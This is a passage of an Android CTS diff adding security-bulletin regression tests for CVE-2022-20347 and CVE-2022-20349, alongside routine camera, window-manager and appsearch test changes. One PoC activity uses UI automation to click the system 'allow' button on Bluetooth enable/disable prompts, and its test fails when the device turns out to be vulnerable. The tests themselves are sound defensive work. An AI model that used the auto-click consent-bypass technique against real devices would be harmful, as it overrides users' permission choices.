+            intent.setData(Uri.parse(mContext.getString(R.string.uri)));
+            intent.setClassName(settingsPkg, settingsPkg + mContext.getString(R.string.className));
+            mContext.startActivity(intent);
+            mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+            assumeTrue(mDevice.wait(Until.hasObject(By.pkg(settingsPkg)),
+                    getInteger(R.integer.timeoutMs)));
+            boolean isBtDiscoverable = false;
+            isBtDiscoverable =
+                    (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+            uiautomation.dropShellPermissionIdentity();
+
+            // The test fails if bluetooth is made discoverable through PoC
+            assertFalse(mContext.getString(R.string.failMessage), isBtDiscoverable);
+        } catch (Exception e) {
+            assumeNoException(e);
+        } finally {
+            try {
+                // Disable bluetooth if it was OFF before the test
+                if (!btState) {
+                    Intent intent = new Intent(mContext, PocActivity.class);
+                    intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                    intent.putExtra(mContext.getString(R.string.btAction),
+                            BluetoothAdapter.ACTION_REQUEST_DISABLE);
+                    mContext.startActivity(intent);
+                    assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
+                            TimeUnit.MILLISECONDS));
+                }
+                // Go to home screen
+                mDevice.pressHome();
+            } catch (Exception e) {
+                // ignore exceptions here
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/PocActivity.java
new file mode 100644
index 0000000..c81ea20
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/PocActivity.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20347;
+
+import android.app.Activity;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+public class PocActivity extends Activity {
+
+    int getInteger(int resId) {
+        return getResources().getInteger(resId);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        try {
+            String action = getIntent().getStringExtra(getString(R.string.btAction));
+            UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+            BluetoothManager bluetoothManager = getSystemService(BluetoothManager.class);
+            BluetoothAdapter bluetoothAdapter = bluetoothManager.getAdapter();
+            int code = getInteger(R.integer.enable);
+            if (action.equals(BluetoothAdapter.ACTION_REQUEST_DISABLE)) {
+                code = getInteger(R.integer.disable);
+            }
+            if ((action.equals(BluetoothAdapter.ACTION_REQUEST_ENABLE)
+                    && !bluetoothAdapter.isEnabled())
+                    || (action.equals(BluetoothAdapter.ACTION_REQUEST_DISABLE)
+                            && bluetoothAdapter.isEnabled())) {
+                Intent btIntent = new Intent(action);
+                startActivityForResult(btIntent, code);
+                // Wait for the activity to appear and the allow button
+                uiDevice.wait(Until.hasObject(By.res(getString(R.string.allowButtonResName))),
+                        getInteger(R.integer.timeoutMs));
+                // Click on the allow button
+                UiObject2 uiObject =
+                        uiDevice.findObject(By.res(getString(R.string.allowButtonResName)));
+                uiObject.click();
+            } else {
+                sendTestResult(getInteger(R.integer.success), "");
+                finish();
+            }
+        } catch (Exception e) {
+            sendTestResult(getInteger(R.integer.assumptionFailure), e.getMessage());
+        }
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        try {
+            if (requestCode == getInteger(R.integer.enable) && resultCode == Activity.RESULT_OK) {
+                finish();
+                sendTestResult(getInteger(R.integer.enable), "");
+            } else if (requestCode == getInteger(R.integer.disable)
+                    && resultCode == Activity.RESULT_OK) {
+                finish();
+                sendTestResult(getInteger(R.integer.disable), "");
+            }
+        } catch (Exception e) {
+            // ignore exception here
+        }
+    }
+
+    void sendTestResult(int result, String message) {
+        try {
+            SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+                    Context.MODE_PRIVATE);
+            if (sh != null) {
+                SharedPreferences.Editor edit = sh.edit();
+                edit.putInt(getString(R.string.resultKey), result);
+                edit.putString(getString(R.string.messageKey), message);
+                edit.commit();
+            }
+        } catch (Exception e) {
+            // ignore exception here
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/Android.bp
new file mode 100644
index 0000000..2accd9e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2022-20349",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/AndroidManifest.xml
new file mode 100644
index 0000000..a59d1d1
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2022_20349"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <application>
+        <receiver android:name=".PocDeviceAdminReceiver"
+            android:permission="android.permission.BIND_DEVICE_ADMIN"
+            android:exported="true">
+            <meta-data android:name="android.app.device_admin"
+                android:resource="@xml/device_policies" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+            </intent-filter>
+        </receiver>
+    </application>
+
+   <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2022_20349" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/res/values/strings.xml
new file mode 100644
index 0000000..78fc6cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/res/values/strings.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<resources>
+    <string name="btScanningPattern">.*bluetooth scanning.*</string>
+    <string name="btScanningTimedOut">Timed out waiting on the text \'Bluetooth scanning\' to appear
+    </string>
+    <string name="failMsg">Device is vulnerable to b/228315522 !!</string>
+    <string name="locationIntentAction">android.settings.LOCATION_SCANNING_SETTINGS</string>
+    <string name="resBtScanning">android:id/title</string>
+    <string name="setUserRestrictionFailed">Failed to set user restriction
+    UserManager.DISALLOW_CONFIG_LOCATION</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/res/xml/device_policies.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/res/xml/device_policies.xml
new file mode 100644
index 0000000..65ce601
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/res/xml/device_policies.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
+    <uses-policies>
+    </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/src/android/security/cts/CVE_2022_20349/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/src/android/security/cts/CVE_2022_20349/DeviceTest.java
new file mode 100644
index 0000000..b5083e9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/src/android/security/cts/CVE_2022_20349/DeviceTest.java
@@ -0,0 +1,118 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20349;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    Context mContext;
+    UiDevice mDevice;
+    DevicePolicyManager mDevicePolicyManager;
+    ComponentName mComponentName;
+    static final String USER_RESTRICTION = UserManager.DISALLOW_CONFIG_LOCATION;
+    static final int UI_TIMEOUT_MS = 5000;
+
+    String getStringRes(int key) {
+        return mContext.getResources().getString(key);
+    }
+
+    int getIntegerRes(int key) {
+        return mContext.getResources().getInteger(key);
+    }
+
+    @After
+    public void tearDown() {
+        try {
+            /* Return to home screen after test */
+            mDevice.pressHome();
+
+            /*
+             * Clear user restriction "DISALLOW_CONFIG_LOCATION" set by the test and also clear the
+             * app as device owner.
+             */
+            mDevicePolicyManager.clearUserRestriction(mComponentName, USER_RESTRICTION);
+            mDevicePolicyManager.clearDeviceOwnerApp(mContext.getPackageName());
+        } catch (Exception e) {
+            // ignore the exception as the test is already complete
+        }
+    }
+
+    @Test
+    public void testBluetoothScanningDisallowed() {
+        try {
+            mDevice = UiDevice.getInstance(getInstrumentation());
+            mContext = getApplicationContext();
+            mDevicePolicyManager =
+                    mContext.getSystemService(DevicePolicyManager.class);
+            mComponentName =
+                    new ComponentName(PocDeviceAdminReceiver.class.getPackage().getName(),
+                            PocDeviceAdminReceiver.class.getName());
+            mDevicePolicyManager.addUserRestriction(mComponentName, USER_RESTRICTION);
+            UserManager userManager = mContext.getSystemService(UserManager.class);
+            assumeTrue(getStringRes(R.string.setUserRestrictionFailed),
+                    userManager.getUserRestrictions().getBoolean(USER_RESTRICTION));
+
+            /* Start the window that contains option to toggle "Bluetooth scanning" on/off */
+            Intent intent = new Intent(getStringRes(R.string.locationIntentAction));
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            mContext.startActivity(intent);
+
+            /* Wait for the window that contains option to toggle "Bluetooth scanning" */
+            Pattern btScanningPattern = Pattern.compile(getStringRes(R.string.btScanningPattern),
+                    Pattern.CASE_INSENSITIVE);
+            boolean btScanningFound = mDevice.wait(
+                    Until.hasObject(
+                            By.text(btScanningPattern).res(getStringRes(R.string.resBtScanning))),
+                    UI_TIMEOUT_MS);
+            assumeTrue(getStringRes(R.string.btScanningTimedOut), btScanningFound);
+
+            /*
+             * Check if the toggle "Bluetooth scanning" is enabled, it is supposed to be disabled by
+             * the Device Admin in presence of fix
+             */
+            UiObject2 btScanningToggle = mDevice.findObject(
+                    By.text(btScanningPattern).res(getStringRes(R.string.resBtScanning)));
+            assertFalse(getStringRes(R.string.failMsg), btScanningToggle.isEnabled());
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/src/android/security/cts/CVE_2022_20349/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/src/android/security/cts/CVE_2022_20349/PocDeviceAdminReceiver.java
new file mode 100644
index 0000000..1453071
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/src/android/security/cts/CVE_2022_20349/PocDeviceAdminReceiver.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20349;
+
+import android.app.admin.DeviceAdminReceiver;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
index 23ffc03..be665ba 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
@@ -68,8 +68,10 @@
                 .setId(CONFIG_ID)
                 .addAllowedLogSource("AID_SYSTEM")
                 .addAllowedLogSource("AID_BLUETOOTH")
-                // TODO(b/134091167): Fix bluetooth source name issue in Auto platform.
+                .addAllowedLogSource("com.android.bluetooth")
+                // TODO(b/236681553): Remove this.
                 .addAllowedLogSource("com.android.bluetooth.services")
+                // TODO(b/236681553): Remove this.
                 .addAllowedLogSource("com.google.android.bluetooth.services")
                 .addAllowedLogSource("AID_LMKD")
                 .addAllowedLogSource("AID_MEDIA")
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/NotTouchableWindowTestActivity.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/NotTouchableWindowTestActivity.java
index f4ec5b8..9aca75f 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/NotTouchableWindowTestActivity.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/NotTouchableWindowTestActivity.java
@@ -118,7 +118,7 @@
                 | WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR
                 | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
         params.type = WindowManager.LayoutParams.TYPE_APPLICATION_PANEL;
-
+        params.setFitInsetsTypes(0);
         params.gravity = Gravity.TOP;
         params.setTitle(NON_TOUCHABLE_WINDOW_TITLE);
 
diff --git a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
index 3955bd0..dabeee7 100644
--- a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
+++ b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
@@ -22,7 +22,6 @@
 import android.content.pm.ActivityInfo;
 import android.content.res.Resources;
 import android.graphics.Rect;
-import android.view.DisplayInfo;
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -53,8 +52,8 @@
     }
 
     /**
-     * Returns display original orientation and toggled orientation.
-     * @param activity context to get the display info
+     * Returns window orientation and toggled orientation.
+     * @param activity context to get the window info
      * @return The first element is original orientation and the second element is toggled
      *     orientation.
      */
@@ -70,8 +69,8 @@
         return new int[] { originalOrientation, newOrientation };
     }
 
-    /** Checks whether the display dimension is close to square. */
-    public static boolean isCloseToSquareDisplay(final Activity activity) {
+    /** Checks whether the window dimension is close to square. */
+    public static boolean isCloseToSquareBounds(final Activity activity) {
         final Resources resources = activity.getResources();
         final float closeToSquareMaxAspectRatio;
         try {
@@ -81,10 +80,9 @@
             // Assume device is not close to square.
             return false;
         }
-        final DisplayInfo displayInfo = new DisplayInfo();
-        activity.getDisplay().getDisplayInfo(displayInfo);
-        final int w = displayInfo.logicalWidth;
-        final int h = displayInfo.logicalHeight;
+        final Rect bounds = activity.getWindowManager().getCurrentWindowMetrics().getBounds();
+        final int w = bounds.width();
+        final int h = bounds.height();
         final float aspectRatio = Math.max(w, h) / (float) Math.min(w, h);
         return aspectRatio <= closeToSquareMaxAspectRatio;
     }
diff --git a/tests/app/src/android/app/cts/DisplayTest.java b/tests/app/src/android/app/cts/DisplayTest.java
index b81ca55..8f95625 100644
--- a/tests/app/src/android/app/cts/DisplayTest.java
+++ b/tests/app/src/android/app/cts/DisplayTest.java
@@ -65,16 +65,16 @@
             final Point origSize = new Point();
             origDisplay.getRealSize(origSize);
 
-                         // Change orientation
+            // Change orientation
             mActivity.configurationChangeObserver.startObserving();
             OrientationTestUtils.switchOrientation(mActivity);
 
-            final boolean closeToSquareDisplay =
-                    OrientationTestUtils.isCloseToSquareDisplay(mActivity);
+            final boolean closeToSquareBounds =
+                    OrientationTestUtils.isCloseToSquareBounds(mActivity);
 
-             // Don't wait for the configuration to change if the
-             // the display is square. In many cases it won't.
-            if (!closeToSquareDisplay) {
+            // Don't wait for the configuration to change if
+            // the display is square. In many cases it won't.
+            if (!closeToSquareBounds) {
                 mActivity.configurationChangeObserver.await();
             }
 
@@ -87,7 +87,7 @@
             updatedDisplay.getRealSize(updatedSize);
 
              // For square screens the following assertions do not make sense and will always fail.
-            if (!closeToSquareDisplay) {
+            if (!closeToSquareBounds) {
                 // Ensure that the width and height of the original instance no longer are the same.
                 // Note that this will be false if the device width and height are identical.
                 // Note there are cases where width and height may not all be updated, such as on
diff --git a/tests/appsearch/AndroidTest.xml b/tests/appsearch/AndroidTest.xml
index 245569d..ac13ee3 100644
--- a/tests/appsearch/AndroidTest.xml
+++ b/tests/appsearch/AndroidTest.xml
@@ -37,4 +37,7 @@
             class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
         <option name="mainline-module-package-name" value="com.google.android.appsearch" />
     </object>
+
+    <object type="module_controller"
+            class="com.android.tradefed.testtype.suite.module.Sdk33ModuleController" />
 </configuration>
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/app/GenericDocumentCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/app/GenericDocumentCtsTest.java
index 0dfff00..5dd2eac 100644
--- a/tests/appsearch/src/com/android/cts/appsearch/external/app/GenericDocumentCtsTest.java
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/app/GenericDocumentCtsTest.java
@@ -576,55 +576,6 @@
     }
 
     @Test
-    public void testNestedProperties_unusualPaths() {
-        GenericDocument doc =
-                new GenericDocument.Builder<>("namespace", "id1", "schema1")
-                        .setPropertyString("propString", "Hello", "Goodbye")
-                        .setPropertyDocument(
-                                "propDocs1",
-                                new GenericDocument.Builder<>("", "", "schema1")
-                                        .setPropertyString("", "Cat", "Dog")
-                                        .build())
-                        .setPropertyDocument(
-                                "propDocs2",
-                                new GenericDocument.Builder<>("", "", "schema1")
-                                        .setPropertyDocument(
-                                                "",
-                                                new GenericDocument.Builder<>("", "", "schema1")
-                                                        .setPropertyString("", "Red", "Blue")
-                                                        .setPropertyString(
-                                                                "propString", "Bat", "Hawk")
-                                                        .build())
-                                        .build())
-                        .setPropertyDocument(
-                                "",
-                                new GenericDocument.Builder<>("", "", "schema1")
-                                        .setPropertyDocument(
-                                                "",
-                                                new GenericDocument.Builder<>("", "", "schema1")
-                                                        .setPropertyString("", "Orange", "Green")
-                                                        .setPropertyString(
-                                                                "propString", "Toad", "Bird")
-                                                        .build())
-                                        .build())
-                        .build();
-        assertThat(doc.getPropertyString("propString")).isEqualTo("Hello");
-        assertThat(doc.getPropertyString("propString[1]")).isEqualTo("Goodbye");
-        assertThat(doc.getPropertyString("propDocs1.")).isEqualTo("Cat");
-        assertThat(doc.getPropertyString("propDocs1.[1]")).isEqualTo("Dog");
-        assertThat(doc.getPropertyStringArray("propDocs1[0]."))
-                .asList()
-                .containsExactly("Cat", "Dog")
-                .inOrder();
-        assertThat(doc.getPropertyString("propDocs2..propString")).isEqualTo("Bat");
-        assertThat(doc.getPropertyString("propDocs2..propString[1]")).isEqualTo("Hawk");
-        assertThat(doc.getPropertyString("propDocs2..")).isEqualTo("Red");
-        assertThat(doc.getPropertyString("propDocs2..[1]")).isEqualTo("Blue");
-        assertThat(doc.getPropertyString("[0]..propString[1]")).isEqualTo("Bird");
-        assertThat(doc.getPropertyString("[0]..[1]")).isEqualTo("Green");
-    }
-
-    @Test
     public void testNestedProperties_invalidPaths() {
         GenericDocument doc =
                 new GenericDocument.Builder<>("namespace", "id1", "schema1")
@@ -636,8 +587,8 @@
                         .setPropertyBytes("propBytes", new byte[][] {{3, 4}})
                         .setPropertyDocument(
                                 "propDocs",
-                                new GenericDocument.Builder<>("", "", "schema1")
-                                        .setPropertyString("", "Cat")
+                                new GenericDocument.Builder<>("namespace", "id2", "schema1")
+                                        .setPropertyString("propString", "Cat")
                                         .build())
                         .build();
 
@@ -650,9 +601,6 @@
         // Some paths are invalid because they are malformed. These throw an exception --- the
         // querier shouldn't provide such paths.
         assertThrows(
-                IllegalArgumentException.class,
-                () -> doc.getPropertyStringArray("propDocs.[0]propInts"));
-        assertThrows(
                 IllegalArgumentException.class, () -> doc.getPropertyStringArray("propString[0"));
         assertThrows(
                 IllegalArgumentException.class, () -> doc.getPropertyStringArray("propString[0.]"));
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index 97d912e..ec92fa6 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -41,6 +41,7 @@
 import static android.hardware.camera2.cts.RobustnessTest.MaxStreamSizes.YUV;
 
 import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.assertFalse;
 
 import static org.mockito.Mockito.any;
 import static org.mockito.Mockito.eq;
@@ -373,6 +374,7 @@
     public void testMandatoryPreviewStabilizationOutputCombinations() throws Exception {
         for (String id : mCameraIdsUnderTest) {
             StaticMetadata info = mAllStaticInfo.get(id);
+            boolean previewStabilizationSupported = isPreviewStabilizationSupported(info);
             CameraCharacteristics chars = info.getCharacteristics();
             CameraCharacteristics.Key<MandatoryStreamCombination []> ck =
                     CameraCharacteristics
@@ -380,12 +382,15 @@
             MandatoryStreamCombination[] combinations = chars.get(ck);
 
             if (combinations == null) {
-                assertNull(combinations);
+                assertFalse("Preview stabilization supported by camera id: " + id
+                        + " but null mandatory streams", previewStabilizationSupported);
                 Log.i(TAG, "Camera id " + id + " doesn't support preview stabilization, skip test");
                 continue;
+            } else {
+                assertTrue("Preview stabilization not supported by camera id: " + id
+                        + " but non-null mandatory streams", previewStabilizationSupported);
             }
 
-            assertNotNull(combinations);
             openDevice(id);
 
             try {
@@ -405,6 +410,19 @@
         }
     }
 
+    private boolean isPreviewStabilizationSupported(StaticMetadata info) {
+        int[] availableVideoStabilizationModes = info.getAvailableVideoStabilizationModesChecked();
+        if (availableVideoStabilizationModes == null) {
+            return false;
+        }
+        for (int mode : availableVideoStabilizationModes) {
+            if (mode == CameraMetadata.CONTROL_VIDEO_STABILIZATION_MODE_PREVIEW_STABILIZATION) {
+                return true;
+            }
+        }
+        return false;
+    }
+
     private void testMandatoryOutputCombinationWithPresetKeys(String cameraId,
             MandatoryStreamCombination combination, CaptureRequest.Builder requestBuilderWithKeys) {
         final int TIMEOUT_FOR_RESULT_MS = 1000;
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
index 7f1be78..217b4d9 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
@@ -40,6 +40,7 @@
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.EnsureDoesNotHaveAppOp;
 import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDpc;
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.permissions.PermissionContext;
 import com.android.compatibility.common.util.BlockingCallback;
@@ -273,6 +274,7 @@
 
     @Test
     @Postsubmit(reason = "b/181993922 automatically marked flaky")
+    @EnsureHasNoDpc // Existing DPC means the Credential Management App is ignored
     public void choosePrivateKeyAlias_isCredentialManagementApp_aliasSelected() throws Exception {
         setCredentialManagementApp();
 
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/SettingsTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/SettingsTest.java
index a0d37e81..fa1a68f 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/SettingsTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/SettingsTest.java
@@ -28,6 +28,7 @@
 
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureNotDemoMode;
 import com.android.bedstead.harrier.annotations.Postsubmit;
 import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
 import com.android.bedstead.harrier.annotations.enterprise.CannotSetPolicyTest;
@@ -85,6 +86,7 @@
 
     @CanSetPolicyTest(policy = SetGlobalSetting.class)
     @Postsubmit(reason = "new test")
+    @EnsureNotDemoMode // retail demo mode bypasses global setting allowlist
     public void setGlobalSetting_unsupported_throwsSecurityException() {
         assertThrows(SecurityException.class,
                 () -> sDeviceState.dpc().devicePolicyManager().setGlobalSetting(
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index b2790bb..719e666 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -286,6 +286,8 @@
         }
         final SizeInfo dockedSizes = getLastReportedSizesForActivity(activityName);
         assertSizesAreSane(initialFullscreenSizes, dockedSizes);
+        final boolean orientationChanged =
+                initialFullscreenSizes.orientation != dockedSizes.orientation;
 
         separateTestJournal();
         // Restore to fullscreen.
@@ -298,10 +300,17 @@
         // (dock task was minimized), start the activity again to ensure the activity is at
         // foreground.
         launchActivity(activityName, WINDOWING_MODE_FULLSCREEN);
-        assertActivityLifecycle(activityName, relaunch);
-        final SizeInfo finalFullscreenSizes = getLastReportedSizesForActivity(activityName);
+        if (relaunch && !orientationChanged) {
+            // If there is no orientation changes while moving the non-resizeable activity out of
+            // the split, the Activity won't be relaunched because size changes won't cross the
+            // size config buckets. So, there won't be any lifecycle changes.
+            waitForOnMultiWindowModeChanged(activityName);
+        } else {
+            assertActivityLifecycle(activityName, relaunch);
+        }
 
-        // After activity configuration was changed twice it must report same size as original one.
+        // It must report same size as original one after split-screen dismissed.
+        final SizeInfo finalFullscreenSizes = getLastReportedSizesForActivity(activityName);
